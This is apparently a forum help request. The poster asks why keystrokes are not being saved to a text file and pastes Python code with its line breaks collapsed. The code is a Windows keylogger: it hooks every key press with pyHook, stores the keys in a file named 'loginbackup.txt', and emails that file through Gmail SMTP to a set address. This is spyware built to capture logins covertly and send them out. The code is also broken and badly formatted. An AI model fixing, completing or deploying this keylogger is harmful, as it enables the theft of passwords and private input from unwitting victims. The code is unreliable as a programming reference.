Okay.. Where is problem now?
Without error but keystrokes does not writed to .txt file?
Without error but keystrokes does not writed to .txt file?
# -*- coding: utf-8 -*-. import pyHook import pythoncom import sys from threading import Thread import time import utils import smtplib import base64 from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import re # global parameters started = False keylog = '' current_window = "" filename = "loginbackup.txt" with open(filename, "w+") as f: f.write("Hello! Protocol records:") def OnKeyPress(event): global current_window global keylog global filename key = "" if event.Ascii == 8: key = '[Backspace]' elif event.Ascii == 13: key = '\n' elif event.Ascii == 27: key = '[ESC]' elif event.Ascii: key = chr(event.Ascii) else: keylog += key if len(keylog) > 40: f = open(filename, "a+") f.write("\n\n") f.write(keylog) f.close() self.sendmail() keylog = '' def sendmail(self): global keylog global filename recipients = ["[email protected]"] msg = MIMEMultipart() fromaddr = '[email protected]' toaddrs = recipients msg['Subject'] = 'Test' message = "" msg.attach(MIMEText(message)) msg.attach(MIMEText(open(filename).read())) mailserver = smtplib.SMTP("smtp.gmail.com", 587) # identify ourselves to smtp gmail client mailserver.ehlo() # secure our email with tls encryption mailserver.starttls() # re-identify ourselves as an encrypted connection mailserver.ehlo() mailserver.login('[email protected]', 'xxxx') mailserver.sendmail(fromaddr, toaddrs, msg.as_string()) mailserver.quit() new_hook = pyHook.HookManager() new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard() pythoncom.PumpMessages()